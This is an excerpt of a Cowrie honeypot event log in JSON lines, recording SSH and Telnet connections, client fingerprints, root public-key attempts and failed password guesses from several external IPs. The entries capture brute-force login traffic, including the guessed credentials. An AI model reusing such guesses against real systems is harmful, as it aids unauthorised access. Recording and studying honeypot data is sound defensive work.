{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:37.763043Z","src_ip":"167.235.26.80","session":"68ca8e4e4bcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"211289","message":"login attempt [user/211289] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:37.870070Z","src_ip":"2.57.121.25","session":"9d125992bf4a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"be:2e:44:b7:fe:06:67:5f:20:c7:71:9a:fb:6f:09:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFZDrXusvs0MrP1thLfYqUG1tRgj2MY/K0NVg8H2C9iQiUxJdO5gVW7yz2Q7ImjUng9k7qasvErpTkl4MqS0hw3c2QMxQWP2oZg2BeqTm+5OnFvpVLzyhAQT7CB9cOCGwheRqdtmJ7eKzIzpf3Gpu63XL4JPFjA20SUsg3MFFygzxDV5UaQe5aeR4G4j4IykoFIuJRp7fieYei4eW6BUzv/x0Dy0zxAvO4KBUQPk5zSwvcnjwJD8c5HcpKxNsIFUY2mxmCGTL3fuMoi0Qyg2EwNFWxBK+O68eTeY7irsT/jtKAYk2602oV4KtfL7bg434c5puMw1P2oKVXPfVaVILv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint be:2e:44:b7:fe:06:67:5f:20:c7:71:9a:fb:6f:09:65","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:38.199487Z","src_ip":"167.235.26.80","session":"68ca8e4e4bcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"be:2e:44:b7:fe:06:67:5f:20:c7:71:9a:fb:6f:09:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFZDrXusvs0MrP1thLfYqUG1tRgj2MY/K0NVg8H2C9iQiUxJdO5gVW7yz2Q7ImjUng9k7qasvErpTkl4MqS0hw3c2QMxQWP2oZg2BeqTm+5OnFvpVLzyhAQT7CB9cOCGwheRqdtmJ7eKzIzpf3Gpu63XL4JPFjA20SUsg3MFFygzxDV5UaQe5aeR4G4j4IykoFIuJRp7fieYei4eW6BUzv/x0Dy0zxAvO4KBUQPk5zSwvcnjwJD8c5HcpKxNsIFUY2mxmCGTL3fuMoi0Qyg2EwNFWxBK+O68eTeY7irsT/jtKAYk2602oV4KtfL7bg434c5puMw1P2oKVXPfVaVILv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:38.203388Z","src_ip":"167.235.26.80","session":"68ca8e4e4bcd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c8:dd:2c:9f:08:34:5d:6e:8c:47:0c:e9:57:3a:59:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtvEN5cE/8vIDspHVV1FrwuZRHvj07m9gody+YShLmOugUMnQmveDI7lXpxcs0VEKiPQGlA6h4bp/yKh6K93BvvtUPHgBCBxrt0uJ1IDjOtD9MHmTTOrVhno9+RIgN8n86cm2czJhecC9jEgOwT5KDqGLkbYSuVYxgjRNIDCL8dGbxYHXz3K8/1WzZs5Zbk2LOS7XMpzHqGLLJXk7jPNnTkyOB9o6+xZ8Xou4R7fgW4iR51BzwIVxNDq69otd832JAn1Zu9IlFobKxKf9SZtjAOBD7yF7hK/Pu3421+q/h94xEqRLzzr/183RPMp6DSBimBDl3FgYYJft/1CcjKEzJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c8:dd:2c:9f:08:34:5d:6e:8c:47:0c:e9:57:3a:59:10","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:38.294430Z","src_ip":"167.235.26.80","session":"68ca8e4e4bcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c8:dd:2c:9f:08:34:5d:6e:8c:47:0c:e9:57:3a:59:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtvEN5cE/8vIDspHVV1FrwuZRHvj07m9gody+YShLmOugUMnQmveDI7lXpxcs0VEKiPQGlA6h4bp/yKh6K93BvvtUPHgBCBxrt0uJ1IDjOtD9MHmTTOrVhno9+RIgN8n86cm2czJhecC9jEgOwT5KDqGLkbYSuVYxgjRNIDCL8dGbxYHXz3K8/1WzZs5Zbk2LOS7XMpzHqGLLJXk7jPNnTkyOB9o6+xZ8Xou4R7fgW4iR51BzwIVxNDq69otd832JAn1Zu9IlFobKxKf9SZtjAOBD7yF7hK/Pu3421+q/h94xEqRLzzr/183RPMp6DSBimBDl3FgYYJft/1CcjKEzJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:38.297959Z","src_ip":"167.235.26.80","session":"68ca8e4e4bcd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"69:e9:cb:94:05:34:2e:86:7e:4f:fe:60:18:ea:3f:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDtJs6Uc/RV3DSc8Jgds5iVlMgPE9yKcQhp1TkbMxtrle+xAp/lYG3+10vt28ZOynKKioJ+t01LLEXrWovpYoetDgaUezbHUOr/+48mJsFSGjfe51Guwrk2mDWadiwFaxJ7ytABtSh/Z2oDGE7rplMy6lKsysFfwWZJx+0Y3c9vshgPnO/d2nGWTFdav6mHR6Ubns0gRsq4qQxUr0JY5Ud8cXwK+qvn8AOt9OmQan/HbvYVgDnjPmZiTzgqHZ8nlf0e6IzaduD5raZfWNKOAlWyg/GPZdzsNZJkw3n4+I5aC1St6zrSAQonSI50mO7UPNOvR0ARAwTbhQdIzUuCTEEy2HOEUtgOHeCNsFvSrm8h3JacbVXc8clVENU2SQ6UdSjBwJS9FSvi51CmAOM+C/Up8MUVhQdrzcnhAUQFB+QrZ7EGSkZL92Xt/ECMpU+Rmx77NqCckfrDeq8XSLvIENlS5kcACZJC6PYO4q0H8lo9qG51KCE9qYUXPgQtN57wHaohG5/gwPOWKLjqDF/2d2ZWxLjKJbXXYkeAEP7Wd/qH/HwbR4ibEOajtdlA2n0x6wXuy1VUQs/lbMbrm+3QhW3te8U3WncJnabWGGE2vwnOUSDHsTikHPQJbrqafgeD7PQc9taEpiWf/BsieKCK3lqXBN7WR+zUSk10AryVSZomeQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 69:e9:cb:94:05:34:2e:86:7e:4f:fe:60:18:ea:3f:b1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:38.388876Z","src_ip":"167.235.26.80","session":"68ca8e4e4bcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"69:e9:cb:94:05:34:2e:86:7e:4f:fe:60:18:ea:3f:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDtJs6Uc/RV3DSc8Jgds5iVlMgPE9yKcQhp1TkbMxtrle+xAp/lYG3+10vt28ZOynKKioJ+t01LLEXrWovpYoetDgaUezbHUOr/+48mJsFSGjfe51Guwrk2mDWadiwFaxJ7ytABtSh/Z2oDGE7rplMy6lKsysFfwWZJx+0Y3c9vshgPnO/d2nGWTFdav6mHR6Ubns0gRsq4qQxUr0JY5Ud8cXwK+qvn8AOt9OmQan/HbvYVgDnjPmZiTzgqHZ8nlf0e6IzaduD5raZfWNKOAlWyg/GPZdzsNZJkw3n4+I5aC1St6zrSAQonSI50mO7UPNOvR0ARAwTbhQdIzUuCTEEy2HOEUtgOHeCNsFvSrm8h3JacbVXc8clVENU2SQ6UdSjBwJS9FSvi51CmAOM+C/Up8MUVhQdrzcnhAUQFB+QrZ7EGSkZL92Xt/ECMpU+Rmx77NqCckfrDeq8XSLvIENlS5kcACZJC6PYO4q0H8lo9qG51KCE9qYUXPgQtN57wHaohG5/gwPOWKLjqDF/2d2ZWxLjKJbXXYkeAEP7Wd/qH/HwbR4ibEOajtdlA2n0x6wXuy1VUQs/lbMbrm+3QhW3te8U3WncJnabWGGE2vwnOUSDHsTikHPQJbrqafgeD7PQc9taEpiWf/BsieKCK3lqXBN7WR+zUSk10AryVSZomeQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:38.392988Z","src_ip":"167.235.26.80","session":"68ca8e4e4bcd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a2:c0:91:23:ab:92:be:b5:d9:23:2c:29:d2:2d:e9:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCqwiBRXcNrUlFKkIdXU6qaX7FOIY06UR1BihY5kN3kPz3pNJ4bGT3bWIbWwySZTlffdjfJx5TyjGwEAjzioSRn4I7ihNAT89FyN5+yIXYCebN7OwdKIfuxwBijejwf6cbIGaFjWY8BgEMse7Lj/lYtjzv4ou7sYz7cWqkZLD8GHcFEz1Dp4O1yNGpUQ7VXqp0F1rgklcE/b7JMCVv185ruXNk1nYpWD2MD5hruOzVj9A2hk978jddO8EoQHPU13mu5+OLKRP1uS3tHWeoYdtYPDer/gdIWWM00Kvrf9httiyesVbfqGbuiZaAD6wXCJUp0w7PhIKTbNCRkGD2l+ZFCCYnxGHZAOBhVbAUJt/4sHB8jczFy0Km1Fk2Qn+W7UGDmp6uHTZo461Zq1Q6li8YZNQ2Ae+IJV5vfpNP6EfP+bG01KZ41dKgaZpCs7Jb6xFYD5Q1z8LQSSl3LvMPWeyI0sNHl6mPwgwn7UQaEB7ZxgkIsuoYs7FKqHhOpR3CdVPSN6SUiYc3nPUMz1AM5gVk18YVD9/bPk84/XbVWV1+7wkpLjc/yqqQhqOhgx7GLvVFx28RNSQmF0KUv6vQ4ojIAo8uhpCWs0deaIHHoUZFyOMRHMtyul4xWeMuflNHJ9t6Vsf+SZ8h2W/EZPgasr65lvsePgcFsDpdBOKQWcbm43Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a2:c0:91:23:ab:92:be:b5:d9:23:2c:29:d2:2d:e9:6d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:38.484112Z","src_ip":"167.235.26.80","session":"68ca8e4e4bcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a2:c0:91:23:ab:92:be:b5:d9:23:2c:29:d2:2d:e9:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCqwiBRXcNrUlFKkIdXU6qaX7FOIY06UR1BihY5kN3kPz3pNJ4bGT3bWIbWwySZTlffdjfJx5TyjGwEAjzioSRn4I7ihNAT89FyN5+yIXYCebN7OwdKIfuxwBijejwf6cbIGaFjWY8BgEMse7Lj/lYtjzv4ou7sYz7cWqkZLD8GHcFEz1Dp4O1yNGpUQ7VXqp0F1rgklcE/b7JMCVv185ruXNk1nYpWD2MD5hruOzVj9A2hk978jddO8EoQHPU13mu5+OLKRP1uS3tHWeoYdtYPDer/gdIWWM00Kvrf9httiyesVbfqGbuiZaAD6wXCJUp0w7PhIKTbNCRkGD2l+ZFCCYnxGHZAOBhVbAUJt/4sHB8jczFy0Km1Fk2Qn+W7UGDmp6uHTZo461Zq1Q6li8YZNQ2Ae+IJV5vfpNP6EfP+bG01KZ41dKgaZpCs7Jb6xFYD5Q1z8LQSSl3LvMPWeyI0sNHl6mPwgwn7UQaEB7ZxgkIsuoYs7FKqHhOpR3CdVPSN6SUiYc3nPUMz1AM5gVk18YVD9/bPk84/XbVWV1+7wkpLjc/yqqQhqOhgx7GLvVFx28RNSQmF0KUv6vQ4ojIAo8uhpCWs0deaIHHoUZFyOMRHMtyul4xWeMuflNHJ9t6Vsf+SZ8h2W/EZPgasr65lvsePgcFsDpdBOKQWcbm43Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:38.488557Z","src_ip":"167.235.26.80","session":"68ca8e4e4bcd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"24:88:4b:4d:fe:ca:97:38:30:c0:e5:e8:ac:84:cb:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDN7lKzClOA7Hmt9druOO4LX7vU5jks4R2RwnJ90pjZKD+RFYxdGt5bpYDMuP/x3b9o4OTPETwPrLSv6T2R9TyyMHC1hkF1cl9Ntbc3pZ3LwUrvfKobky3i/mVyjpLhXwMwE3ai1qkg1IzBXXG3q1kiwYBgjyYRenS8nivMrcXVp6XdKA9ED1A28p638tKnR/bYc6rRIyp2aYxyjIqmOQfvjA/dWbfG9eFJBjEmTJHpJ1skLXiakxjyblQ+lQayRG6oTlGXte24kZn95CjYOaSKMv3owgwJNpCVtIib8nlYERUcDJKX9t1TGUboBa+fCDPIXKZS0Kqg7QC/AsIqwCdp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 24:88:4b:4d:fe:ca:97:38:30:c0:e5:e8:ac:84:cb:35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:38.581210Z","src_ip":"167.235.26.80","session":"68ca8e4e4bcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"24:88:4b:4d:fe:ca:97:38:30:c0:e5:e8:ac:84:cb:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDN7lKzClOA7Hmt9druOO4LX7vU5jks4R2RwnJ90pjZKD+RFYxdGt5bpYDMuP/x3b9o4OTPETwPrLSv6T2R9TyyMHC1hkF1cl9Ntbc3pZ3LwUrvfKobky3i/mVyjpLhXwMwE3ai1qkg1IzBXXG3q1kiwYBgjyYRenS8nivMrcXVp6XdKA9ED1A28p638tKnR/bYc6rRIyp2aYxyjIqmOQfvjA/dWbfG9eFJBjEmTJHpJ1skLXiakxjyblQ+lQayRG6oTlGXte24kZn95CjYOaSKMv3owgwJNpCVtIib8nlYERUcDJKX9t1TGUboBa+fCDPIXKZS0Kqg7QC/AsIqwCdp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:38.585423Z","src_ip":"167.235.26.80","session":"68ca8e4e4bcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:38.676807Z","src_ip":"167.235.26.80","session":"68ca8e4e4bcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36964,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cc9c8059bdf","protocol":"telnet","message":"New connection: 152.42.224.71:36964 (10.17.0.5:23) [session: 0cc9c8059bdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:38.744059Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"211285","message":"login attempt [user/211285] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:38.972225Z","src_ip":"2.57.121.25","session":"9d125992bf4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"21111975","message":"login attempt [user/21111975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:40.079169Z","src_ip":"2.57.121.25","session":"9d125992bf4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:41.182606Z","src_ip":"2.57.121.25","session":"9d125992bf4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.75.127.184","src_port":46110,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a2daeb95d09","protocol":"ssh","message":"New connection: 106.75.127.184:46110 (10.17.0.5:22) [session: 5a2daeb95d09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:47.919709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:47.925589Z","src_ip":"106.75.127.184","session":"5a2daeb95d09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:48.838762Z","src_ip":"106.75.127.184","session":"5a2daeb95d09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.91.1","src_port":59254,"dst_ip":"10.17.0.5","dst_port":22,"session":"c410c0ff1dcf","protocol":"ssh","message":"New connection: 74.208.91.1:59254 (10.17.0.5:22) [session: c410c0ff1dcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:49.408434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:49.412999Z","src_ip":"74.208.91.1","session":"c410c0ff1dcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:49.446562Z","src_ip":"74.208.91.1","session":"c410c0ff1dcf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e1:37:a9:bd:3e:92:b4:ae:e0:aa:80:d1:ef:8b:c3:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFXDX4KszIwZqrdqRDqzlRNkm/dSqF/UNbM7DICo/jL1GE8qR560sCfUu6tanIuxJTcNyjjYX5IggBWm1wYkBhitbumq5u8ng6TM9jIljUW98woikK5iFQmGptWCAjqBPw3/5hffKMya2YLTlFL8535ReRuQ0rxyxwgFA6ocjLaQgmaiYe7FhgvY9FDnp0aapF5iS2B2FynTwOZQjfVXkedKCj4P4G5wQR9wMasekGgRsLzKEyuU+TOC2cnsZtckCt1ihDFLuEwTf9kVkD6OVWp6D1j5NoWzxGoPiA6nLESpRe1+qNwfU1w0ZWAl2T7pvMtapcnr2rVJZ2sTZJ0aw9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e1:37:a9:bd:3e:92:b4:ae:e0:aa:80:d1:ef:8b:c3:9c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:49.595571Z","src_ip":"74.208.91.1","session":"c410c0ff1dcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e1:37:a9:bd:3e:92:b4:ae:e0:aa:80:d1:ef:8b:c3:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFXDX4KszIwZqrdqRDqzlRNkm/dSqF/UNbM7DICo/jL1GE8qR560sCfUu6tanIuxJTcNyjjYX5IggBWm1wYkBhitbumq5u8ng6TM9jIljUW98woikK5iFQmGptWCAjqBPw3/5hffKMya2YLTlFL8535ReRuQ0rxyxwgFA6ocjLaQgmaiYe7FhgvY9FDnp0aapF5iS2B2FynTwOZQjfVXkedKCj4P4G5wQR9wMasekGgRsLzKEyuU+TOC2cnsZtckCt1ihDFLuEwTf9kVkD6OVWp6D1j5NoWzxGoPiA6nLESpRe1+qNwfU1w0ZWAl2T7pvMtapcnr2rVJZ2sTZJ0aw9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:49.601595Z","src_ip":"74.208.91.1","session":"c410c0ff1dcf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"85:a0:b7:90:c6:64:c6:3e:ef:aa:92:4d:3a:51:0e:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDA8ow5knJ922MwQikExdffbRQVrqgpsM1Z02M0FpC1UDP++Ri7/c3as1EbHC9uk7cXKzO+2Es78NG430PLx+grSnP2kegBDMwEQVqD8l1GMsnYt0Lr+jo7D5RaDp8XeujpYaSe0lM0Nzad2uI78pYH0OoaBqw9HLULya+178Vecd08zpA8U+OO6hflSd2dQ8GK5lsi11nWwui2ACv6OQeaTdR3SDKhahX8Zz1bsLl8wqdadmV6AUmtP+dC/1pq1f3eO24nEZzuI1/4u+wbrUM2VK2MbeouJ/jc3+h4suViT/rNqTnaTf791aEUXcykQw/jEvjPSQbhCL0LfkpXNkVF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 85:a0:b7:90:c6:64:c6:3e:ef:aa:92:4d:3a:51:0e:2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:49.635239Z","src_ip":"74.208.91.1","session":"c410c0ff1dcf","protocol":"ssh"}
